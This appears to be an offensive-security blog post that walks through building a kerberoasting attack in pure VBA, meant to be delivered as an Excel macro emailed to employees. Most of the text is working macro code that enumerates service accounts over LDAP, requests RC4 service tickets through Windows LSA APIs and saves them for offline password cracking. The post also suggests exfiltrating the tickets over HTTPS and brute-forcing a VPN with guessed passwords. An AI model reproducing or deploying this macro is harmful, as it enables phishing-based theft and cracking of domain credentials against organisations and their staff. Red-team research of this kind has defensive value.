Hacking in an epistolary way: implementing kerberoast in pure VBA

Dear Fellowlship, today’s homily is about how a soul descended into the VBA hell and ended up creating juicy tools. Please, take a seat and listen to the story.

Prayers at the foot of the Altar a.k.a. disclaimer

Exposing yourself too much to VBA can be dangerous for your mind and your body. Please talk with your doctor before starting to code something in such crooked language.

Introduction

Using macros as the first stage of an attack is probably the Top One of tactics. Macros are usually used to deploy implants in order to infect computers, so that attackers can use these first boxes as pivot points and interact with the internal network. Recently a thought started haunting our heads: can we pwn something without dropping any binary or inject code, just launching attacks via Excels?. If time is not a constraint we can send different emails over time with attacks implemented in pure VBA (recon, bruteforcing, kerberoast/asreproast, ACLpwns, etc.).

For example, we can create a macro that interacts with a domain controller via LDAP to retrieve the userlist and exfiltrate the atributes sAMAccountName and pwdLastSet. We can turn the pwdLastSet to something like “Monthyear” (June2020, July2020…) and build a list of usernames and plausible passwords to bruteforce the VPN login. We would only need to send the macro via email to a bunch of employees and wait for the goodies.

Following this hacking in an epistolary way idea, we started to create a macro for kerberoasting. We saw that the internet is full of macros that execute kerberoast attacks, but all of them either drop a binary, or inject a shellcode, or would just call powershell. We wanted to build something in pure VBA. So… let’s go!

Kerberoast

This kind of attack is really well explained in tons of articles over the internet, so we are not going to enter in such details here. As briefing we are going to quote the article Kerberos (I): How does Kerberos work? – Theory from our friend @zer1t0:

Kerberoasting is a technique which takes advantage of TGS to crack the user accounts passwords offline. As seen above, TGS comes encrypted with service key, which is derived from service owner account NTLM hash. Usually the owners of services are the computers in which the services are being executed. However, the computer passwords are very complex, thus, it is not useful to try to crack those. This also happens in case of krbtgt account, therefore, TGT is not crackable neither. All the same, on some occasions the owner of service is a normal user account. In these cases it is more feasible to crack their passwords. Moreover, this sort of accounts normally have very juicy privileges. Additionally, to get a TGS for any service only a normal domain account is needed, due to Kerberos not perform authorization checks.

So we need to create a macro that solves two tasks: to list the SPNs whose authentication is related to a user account, and to ask for a TGS ticket for each one. To build our PoC we checked the source code of Mimikatz (kuhl_m_kerberos.c) and this old example of how to ask for TGS tickets in Windows (KList.c).

We are going to need to call three functions from ntsecapi. First we need to establish an untrusted connection with the LSA server using LsaConnectUntrusted, then we get the authentication package identifier for Kerberos (LsaLookupAuthenticationPackage), and finally we call LsaCallAuthenticationPackage to retrieve the target ticket.

We can check MSDN for information about what parameters those functions need. Of course VBA data types are wicked and can be a bit tricky, but with a bit of googling we can solve it:

Private Declare PtrSafe Function LsaConnectUntrusted Lib "SECUR32" (ByRef LsaHandle As LongPtr) As Long
Private Declare PtrSafe Function LsaLookupAuthenticationPackage Lib "SECUR32" (ByVal LsaHandle As LongPtr, ByRef PackageName As LSA_STRING, ByRef AuthenticationPackage As LongLong) As Long
Private Declare PtrSafe Function LsaCallAuthenticationPackage Lib "SECUR32" (ByVal LsaHandle As LongPtr, ByVal AuthenticationPackage As LongLong, ByVal ProtocolSubmitBuffer As LongPtr, ByVal SubmitBufferLength As Long, ProtocolReturnBuffer As Any, ByRef ReturnBufferLength As Long, ByRef ProtocolStatus As Long) As Long

As stated, types can be a bit tricky. In order to call LsaLookupAuthenticationPackage we need to use a LSA_STRING structure, defined as:

typedef struct _LSA_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR  Buffer;
} LSA_STRING, *PLSA_STRING;

We don’t have those types in VBA, so we need to fit the structure fields to types with the same size. This structure can be declared as:

Private Type LSA_STRING
    Length As Integer
    MaximumLength As Integer
    Buffer As String
End Type

So the first part of our subroutine to ask TGS tickets would be something like:

Sub askTGS(target As String)
    Dim Status As Long
    Dim pLogonHandle As LongPtr
    Dim Name As LSA_STRING
    Dim pPackageId As LongLong

    Status = LsaConnectUntrusted(pLogonHandle)
    If Status <> 0 Then
        MsgBox "Error, LsaConnectUntrusted failed!"
        Return
    End If

    With Name
        .Length = Len("Kerberos")
        .MaximumLength = Len("Kerberos") + 1
        .Buffer = "Kerberos"
    End With

    Status = LsaLookupAuthenticationPackage(pLogonHandle, Name, pPackageId)
    If Status <> 0 Then
        MsgBox "Error, LsaLookupAuthenticationPackage failed!"
        Return
    End If

To retrieve the ticket we need to call LsaCallAuthenticationPackage with a KERB_RETRIEVE_TKT_REQUEST struct as message. This struct is defined as:

typedef struct _KERB_RETRIEVE_TKT_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    LUID                       LogonId;
    UNICODE_STRING             TargetName;
    ULONG                      TicketFlags;
    ULONG                      CacheOptions;
    LONG                       EncryptionType;
    SecHandle                  CredentialsHandle;
} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;

Also, we need to define the structure UNICODE_STRING, which is:

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING

And SecHandle:

typedef struct _SecHandle {
    ULONG_PTR       dwLower;
    ULONG_PTR       dwUpper;
} SecHandle, * PSecHandle

We can merge KERB_RETRIEVE_TKT_REQUEST and UNICODE_STRING structures to avoid issues, so our structures in VBA will be declared as:

Private Type SecHandle
    dwLower As LongPtr
    dwUpper As LongPtr
End Type

Private Type KERB_RETRIEVE_TKT_REQUEST
    MessageType As KERB_PROTOCOL_MESSAGE_TYPE
    LogonIdLower As Long
    LogonIdHigher As LongLong
    TargetNameLength As Integer
    TargetNameMaximumLength As Integer
    TargetNameBuffer As LongPtr
    TicketFlags As Long
    CacheOptions As Long
    EncryptionType As Long
    CredentialsHandle As SecHandle
End Type

Finally, KERB_PROTOCOL_MESSAGE_TYPE is just an enum:

Private Enum KERB_PROTOCOL_MESSAGE_TYPE
    KerbDebugRequestMessage = 0
    KerbQueryTicketCacheMessage
    KerbChangeMachinePasswordMessage
    KerbVerifyPacMessage
    KerbRetrieveTicketMessage
    KerbUpdateAddressesMessage
    KerbPurgeTicketCacheMessage
    KerbChangePasswordMessage
    KerbRetrieveEncodedTicketMessage
    KerbDecryptDataMessage
    KerbAddBindingCacheEntryMessage
    KerbSetPasswordMessage
    KerbSetPasswordExMessage
    KerbVerifyCredentialsMessage
    KerbQueryTicketCacheExMessage
    KerbPurgeTicketCacheExMessage
    KerbRefreshSmartcardCredentialsMessage
    KerbAddExtraCredentialsMessage
    KerbQuerySupplementalCredentialsMessage
    KerbTransferCredentialsMessage
    KerbQueryTicketCacheEx2Message
End Enum

Keep in mind that the field defined as TargetNameBuffer is the PWSTR Buffer from UNICODE_STRING, so here we are going to set a pointer to the string that contains the target SPN. The problem is: we do not know where in memory this information will be later, so we are setting this value to something random that will be overwritten with the pointer later on. Other values that we need to set are the encryption (RC4) and the CacheOptions:

'(...)
    With KerbRetrieveRequest
        .MessageType = KerbRetrieveEncodedTicketMessage
        .EncryptionType = 23 'KERB_ETYPE_RC4_HMAC_NT
        .CacheOptions = 8 'KERB_RETRIEVE_TICKET_AS_KERB_CRED
        .TargetNameLength = LenB(target)
        .TargetNameMaximumLength = LenB(target) + 2
        .TargetNameBuffer = 1337 'random value, we change it later
    End With
'(...)

To work with memory in VBA we use byte arrays. In order to add the target SPN string to the end of our structure, we need to create an array with the size of the struct, then get the pointer to the first element of this array (VarPtr(yourArray(0))), and use this address as destination (RtlMoveMemory). Then we convert this byte array to a string (StrConv(array, vbUnicode)) and concatenate the string with the target SPN. I ended with this weird method because VBA started to freak out in memory: I don’t like how it is done, but it works.

'Copy the struct to an array and add the string with the target
Dim tmpBuffer() As Byte
Dim Dummy As String
ReDim tmpBuffer(0 To LenB(KerbRetrieveRequest) - 1)
Call CopyMemory(VarPtr(tmpBuffer(0)), VarPtr(KerbRetrieveRequest), LenB(KerbRetrieveRequest) - 1)
Dummy = StrConv(tmpBuffer, vbUnicode)
Dummy = Dummy & StrConv(target, vbUnicode)

At this point we have a string composed by our KERB_RETRIEVE_TKT_REQUEST + string with SPN, so we need to convert this to an array again, and get the memory address where our string is located at. Our structure has a size of 64 bytes, so the 65th byte is the first byte of our string: we can use VarPtr() again to get this value and set the TargetNameBuffer with this pointer later on:

'Get the buffer memory address
Dim fixedAddress As LongPtr
Dim tempToFix() As Byte
tempToFix = StrConv(Dummy, vbFromUnicode)
fixedAddress = VarPtr(tempToFix(64))

In order to call LsaCallAuthenticationPackage, our message buffer must be created in the heap, so we need to allocate memory and copy it:

'Alloc memory from heap and copy the struct
Dim heap As LongPtr
Dim mem As LongPtr
heap = GetProcessHeap()
mem = HeapAlloc(heap, 0, LenB(KerbRetrieveRequest) + LenB(target))
Call CopyMemory(mem, VarPtr(tempToFix(0)), LenB(KerbRetrieveRequest) + LenB(target))

And finally, we can call the function after overwriting the TargetNameBuffer field with the address extracted before:

'Fix the buffer address
fixedAddress = mem + 64
Call CopyMemory(mem + 24, VarPtr(fixedAddress), 8)
'Do the call
Status = LsaCallAuthenticationPackage(pLogonHandle, pPackageId, mem, LenB(KerbRetrieveRequest) + LenB(target), KerbRetrieveResponse, ResponseSize, SubStatus)
If Status <> 0 Then
    MsgBox "Error, LsaCallAuthenticationPackage failed!"
End If

If everything went smoothly now we have a buffer (KerbRetrieveResponse) that is a KERB_RETRIEVE_TKT_RESPONSE structure:

typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
    KERB_EXTERNAL_TICKET Ticket;
} KERB_RETRIEVE_TKT_RESPONSE, *PKERB_RETRIEVE_TKT_RESPONSE;

And KERB_EXTERNAL_TICKET is defined as:

typedef struct _KERB_EXTERNAL_TICKET {
    PKERB_EXTERNAL_NAME ServiceName;
    PKERB_EXTERNAL_NAME TargetName;
    PKERB_EXTERNAL_NAME ClientName;
    UNICODE_STRING      DomainName;
    UNICODE_STRING      TargetDomainName;
    UNICODE_STRING      AltTargetDomainName;
    KERB_CRYPTO_KEY     SessionKey;
    ULONG               TicketFlags;
    ULONG               Flags;
    LARGE_INTEGER       KeyExpirationTime;
    LARGE_INTEGER       StartTime;
    LARGE_INTEGER       EndTime;
    LARGE_INTEGER       RenewUntil;
    LARGE_INTEGER       TimeSkew;
    ULONG               EncodedTicketSize;
    PUCHAR              EncodedTicket;
} KERB_EXTERNAL_TICKET, *PKERB_EXTERNAL_TICKET;

If we use API Monitor to check this buffer in memory we get something like:

KERB_RETRIEVE_TKT_RESPONSE in memory
KERB_RETRIEVE_TKT_RESPONSE in memory

I highlighted a few pointers in green (the first pointers correspond to ServiceName, TargetName, ClientName, etc.), and the value of EncodedTicketSize in orange. After the EncodedTicketSize, the pointer (again in green) to the EncodedTicket. So to get our TGS ticket in KiRBi format (as Mimikatz does, for example) we need to extract the pointer to the encoded ticket (at offset 144) and read the amount of EncodedTicketSize bytes (this value is at offset 136):

'Ticket->EncodedTicketSize
Dim ticketSize As Integer
Call CopyMemory(VarPtr(ticketSize), VarPtr(Response(136)), 4)

'Ticket->EncodedTicket (address)
Dim encodedTicketAddress As LongPtr
Call CopyMemory(VarPtr(encodedTicketAddress), VarPtr(Response(144)), 8)

'Ticket->EncodedTicket (value)
Dim encodedTicket() As Byte
ReDim encodedTicket(0 To ticketSize)
Call CopyMemory(VarPtr(encodedTicket(0)), encodedTicketAddress, ticketSize)

'Save it
Dim fileName As String
fileName = Replace(target, "/", "_")
fileName = Replace(fileName, ":", "_")
MsgBox fileName
Open fileName & ".kirbi" For Binary Access Write As #1
    lWritePos = 1
    Put #1, lWritePos, encodedTicket
Close #1

Of course instead of saving them to disk, we should exfiltrate the ticket via HTTPs or any other method. Then we can convert the KiRBi ticket into a HashCat-friendly format using the kirbi2hashcat.py script:

mothra@arcadia:/tmp|⇒  python kirbi2hashcat.py test.kirbi
$krb5tgs$23$2c4b4631e22d9e82823810dd51b11e17$1c1c0be320175b6486644311922fed8e3ee5a900112edbabe50b11d1a9b1f4609d30499616a8beb93071914f3eeade1e582878a1ad8c5574fbbc689569797aba9039da9f04ba3d91c3f12a307455d25e221fff21807d9d8d7e75492290be4922cf027e01aeae3e74eda64f6a258445b7547db94e9b5a153746a81b46d5b9a9d1c15794fb3cd6c488ac437ccb6a2612edcda95a2474854c73413024363c7dc40f3938b6ea988e246847fab0ed19433617870c05555dcee9b335f34774098f66a022437b75e22a787c9285276cd68a173f12fa0fbb2c41dafbf30e960f7404daee3b33d188a567e89f381e54936dfae1e3da74c6c50315308fa5dcb5af4e1e1ac9b2df5385cd8755365675c3aa8126ad62b24d5738c7ab665529c36aa09edc8a9935949142ccb75ade84596cf973700590d51e449eafb86a7b5149b89cb1232ac7823145c857d0762cbaf9c8a175e0783becd0c3f12dbf1ce02bca6d18e0d6a42949f5ac9a2442a94b1176ad3da71884be36da506c5e0aa2faf503c2ac5197b75ab1bce9f55abfbb8b374cfeacebac5a3d4ce3d01c23ce62312d5906846ea0b47d74b740dd5a1eac1451f599c6a0b6827bbe2a434a93646cb6990133392508b4e4650f635ae214b47cc1e7e135bd4d6ceaa188a61abd3dcbb5355a7fb48d6041bb6ff2c19b2a38fd2ec001e49794c61b0162393a94ba33da8d06df500cb39965ace726f542aacf2715f24c3a22e8e82c50f3b36f4ebb168c46f524c2c142521dca1e597e316fbf7ec1b7cb8810e63f39062d8369cf44e4b085bb1c85b7813c771644eaf7dfc7bce47238d77a5254edf5b179a4b34c1e567bb46aea4f965539f4e87425ceb17badcbd079dfc01d2a99270476592c4f4ea2718e3a55f6d8f61688b40669d0a13a3c3937feabc54a11e038e4c5a336273fd4601b5853d1e5df0d9a945cc2dbf2500c6f7bfc3099d386b9d7078b0f5850be93c4e2e220fbee3b19fdf3f9e18148495f409eb1b94fb43898bcdf512e32e4689d6e7414d2e51a8a605e5db0ca79f8dc5b0a34e3969dd5cca607aa0d63bc0146df647ae6126375a7723f1439401f1646f1be6c6cf98c27ab6bf3f3e4d571e8670288be55d11f5530aafff5fdecd108542ea78dfc1427e46761176dc5923418114164502d2981c03e7d3632ebb308d8f5e5ae258a7b545d95d25ba85139de8acafe20814e6074d1ed4528dd0ae8e69bf5dc18248a7ccb111bbcc13fa91d7eae0d5d688121d9fae6a574e0154dedeb3049e5f6c1c458950b3000e3174aec2d750cfc08ac8f29818b504e89feec8e68d2dc82a0211816ebe05c22c990692ba971bda7f4900262701873532c611a49b8e85c7a2fb4ab0ae79ca579e14a4a7fb3829a730b0e8e19d7e97a1ba05c17f9baafa52ca702e31bb7874cfa0db0af1452185987fbc991e333870268eb3cdf78008570f7f65ae4db99cfc10874f5c5c036af163ffe5ca35231904933b661b482bdcb04a75dcd626b3ce75b257df36b06589cae1ad73539f5de1f88e8b329e0999f56977ad9ef85a5d8dff00c89d121565ae720a3f4b458f84f46418dbe67f06600a600bb33d469cadd61061ca6ee1a6b4e0a011bb74b5c73d4361ebf2391b6fc9bf8a36ae63bb67a6dd5ebabc4d1

Now we have a way to request TGS tickets for SPNs, but how can we get our targets? We can use LDAP queries. I adapted the code from this post to perform a query with the filter (&(samAccountType=805306368)(servicePrincipalName=*)).


Our final code is:

Private Declare PtrSafe Function LsaConnectUntrusted Lib "SECUR32" (ByRef LsaHandle As LongPtr) As Long
Private Declare PtrSafe Function LsaLookupAuthenticationPackage Lib "SECUR32" (ByVal LsaHandle As LongPtr, ByRef PackageName As LSA_STRING, ByRef AuthenticationPackage As LongLong) As Long
Private Declare PtrSafe Function LsaCallAuthenticationPackage Lib "SECUR32" (ByVal LsaHandle As LongPtr, ByVal AuthenticationPackage As LongLong, ByVal ProtocolSubmitBuffer As LongPtr, ByVal SubmitBufferLength As Long, ProtocolReturnBuffer As Any, ByRef ReturnBufferLength As Long, ByRef ProtocolStatus As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" (ByVal Destination As LongPtr, ByVal Source As LongPtr, ByVal Length As Long)
Private Declare PtrSafe Function GetProcessHeap Lib "KERNEL32" () As LongPtr
Private Declare PtrSafe Function HeapAlloc Lib "KERNEL32" (ByVal hHeap As LongPtr, ByVal dwFlags As Long, ByVal dwBytes As LongLong) As LongPtr
Private Declare PtrSafe Function HeapFree Lib "KERNEL32" (ByVal hHeap As LongPtr, ByVal dwFlags As Long, lpMem As Any) As Long

Private Type LSA_STRING
    Length As Integer
    MaximumLength As Integer
    Buffer As String
End Type
Private Enum KERB_PROTOCOL_MESSAGE_TYPE
    KerbDebugRequestMessage = 0
    KerbQueryTicketCacheMessage
    KerbChangeMachinePasswordMessage
    KerbVerifyPacMessage
    KerbRetrieveTicketMessage
    KerbUpdateAddressesMessage
    KerbPurgeTicketCacheMessage
    KerbChangePasswordMessage
    KerbRetrieveEncodedTicketMessage
    KerbDecryptDataMessage
    KerbAddBindingCacheEntryMessage
    KerbSetPasswordMessage
    KerbSetPasswordExMessage
    KerbVerifyCredentialsMessage
    KerbQueryTicketCacheExMessage
    KerbPurgeTicketCacheExMessage
    KerbRefreshSmartcardCredentialsMessage
    KerbAddExtraCredentialsMessage
    KerbQuerySupplementalCredentialsMessage
    KerbTransferCredentialsMessage
    KerbQueryTicketCacheEx2Message
End Enum
Private Type SecHandle
    dwLower As LongPtr
    dwUpper As LongPtr
End Type
Private Type KERB_RETRIEVE_TKT_REQUEST
    MessageType As KERB_PROTOCOL_MESSAGE_TYPE
    LogonIdLower As Long
    LogonIdHigher As LongLong
    TargetNameLength As Integer
    TargetNameMaximumLength As Integer
    TargetNameBuffer As LongPtr
    TicketFlags As Long
    CacheOptions As Long
    EncryptionType As Long
    CredentialsHandle As SecHandle
End Type

Sub askTGS(target As String)
    Dim Status As Long
    Dim SubStatus As Long
    Dim pLogonHandle As LongPtr
    Dim Name As LSA_STRING
    Dim pPackageId As LongLong
    Dim KerbRetrieveRequest As KERB_RETRIEVE_TKT_REQUEST
    Dim KerbRetrieveResponse As LongPtr
    Dim ResponseSize As Long

    Status = LsaConnectUntrusted(pLogonHandle)
    If Status <> 0 Then
        MsgBox "Error, LsaConnectUntrusted failed!"
        Return
    End If

    With Name
        .Length = Len("Kerberos")
        .MaximumLength = Len("Kerberos") + 1
        .Buffer = "Kerberos"
    End With

    Status = LsaLookupAuthenticationPackage(pLogonHandle, Name, pPackageId)
    If Status <> 0 Then
        MsgBox "Error, LsaLookupAuthenticationPackage failed!"
        Return
    End If

    With KerbRetrieveRequest
        .MessageType = KerbRetrieveEncodedTicketMessage
        .EncryptionType = 23 'KERB_ETYPE_RC4_HMAC_NT
        .CacheOptions = 8 'KERB_RETRIEVE_TICKET_AS_KERB_CRED
        .TargetNameLength = LenB(target)
        .TargetNameMaximumLength = LenB(target) + 2
        .TargetNameBuffer = 1337 'random value, we change it later
    End With

    'Copy the struct to an array and add the string with the target
    Dim tmpBuffer() As Byte
    Dim Dummy As String
    ReDim tmpBuffer(0 To LenB(KerbRetrieveRequest) - 1)
    Call CopyMemory(VarPtr(tmpBuffer(0)), VarPtr(KerbRetrieveRequest), LenB(KerbRetrieveRequest) - 1)
    Dummy = StrConv(tmpBuffer, vbUnicode)
    Dummy = Dummy & StrConv(target, vbUnicode)

    'Get the buffer memory address
    Dim fixedAddress As LongPtr
    Dim tempToFix() As Byte
    tempToFix = StrConv(Dummy, vbFromUnicode)
    fixedAddress = VarPtr(tempToFix(64))

    'Alloc memory from heap and copy the struct
    Dim heap As LongPtr
    Dim mem As LongPtr
    heap = GetProcessHeap()
    mem = HeapAlloc(heap, 0, LenB(KerbRetrieveRequest) + LenB(target))
    Call CopyMemory(mem, VarPtr(tempToFix(0)), LenB(KerbRetrieveRequest) + LenB(target))

    'Fix the buffer address
    fixedAddress = mem + 64
    Call CopyMemory(mem + 24, VarPtr(fixedAddress), 8)

    'Do the call
    Status = LsaCallAuthenticationPackage(pLogonHandle, pPackageId, mem, LenB(KerbRetrieveRequest) + LenB(target), KerbRetrieveResponse, ResponseSize, SubStatus)
    If Status <> 0 Then
        MsgBox "Error, LsaCallAuthenticationPackage failed!"
    End If

    'Copy KERB_RETRIEVE_TKT_RESPONSE structure to an array
    Dim Response() As Byte
    Dim Data As String
    ReDim Response(0 To ResponseSize)
    Call CopyMemory(VarPtr(Response(0)), KerbRetrieveResponse, ResponseSize)

    'Ticket->EncodedTicketSize
    Dim ticketSize As Integer
    Call CopyMemory(VarPtr(ticketSize), VarPtr(Response(136)), 4)

    'Ticket->EncodedTicket (address)
    Dim encodedTicketAddress As LongPtr
    Call CopyMemory(VarPtr(encodedTicketAddress), VarPtr(Response(144)), 8)

    'Ticket->EncodedTicket (value)
    Dim encodedTicket() As Byte
    ReDim encodedTicket(0 To ticketSize)
    Call CopyMemory(VarPtr(encodedTicket(0)), encodedTicketAddress, ticketSize)

    'Save it (change it to send the ticket directly to your endpoint)
    Dim fileName As String
    fileName = Replace(target, "/", "_")
    fileName = Replace(fileName, ":", "_")
    MsgBox fileName
    Open fileName & ".kirbi" For Binary Access Write As #1
        lWritePos = 1
        Put #1, lWritePos, encodedTicket
    Close #1

End Sub
'Helper
Public Function toStr(pVar_In As Variant) As String
    On Error Resume Next
    toStr = CStr(pVar_In)
End Function

Sub kerberoast() 'https://www.remkoweijnen.nl/blog/2007/11/01/query-active-directory-from-excel/
    'Get the domain string ("dc=domain, dc=local")
    Dim strDomain As String
    strDomain = GetObject("LDAP://rootDSE").Get("defaultNamingContext")

    'ADODB Connection to AD
    Dim objConnection As Object
    Set objConnection = CreateObject("ADODB.Connection")
    objConnection.Open "Provider=ADsDSOObject;"

    'Connection
    Dim objCommand As ADODB.Command
    Set objCommand = CreateObject("ADODB.Command")
    objCommand.ActiveConnection = objConnection

    'Search the AD recursively, starting at root of the domain
    objCommand.CommandText = _
        "<LDAP://" & strDomain & ">;(&(samAccountType=805306368)(servicePrincipalName=*));,servicePrincipalName;subtree"
    Dim objRecordSet As ADODB.Recordset
    Set objRecordSet = objCommand.Execute

    Dim i As Long

    If objRecordSet.EOF And objRecordSet.BOF Then
    Else
        Do While Not objRecordSet.EOF
            For i = 0 To objRecordSet.Fields.Count - 1
                askTGS (toStr(objRecordSet!servicePrincipalName(0)))
            Next i
            objRecordSet.MoveNext
        Loop
    End If

    'Close connection
    objConnection.Close

    'Cleanup
    Set objRecordSet = Nothing
    Set objCommand = Nothing
    Set objConnection = Nothing
End Sub

EoF

The VBA is dark and full of terrors, so please do not walk this path alone.

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

updated_at 31-10-2020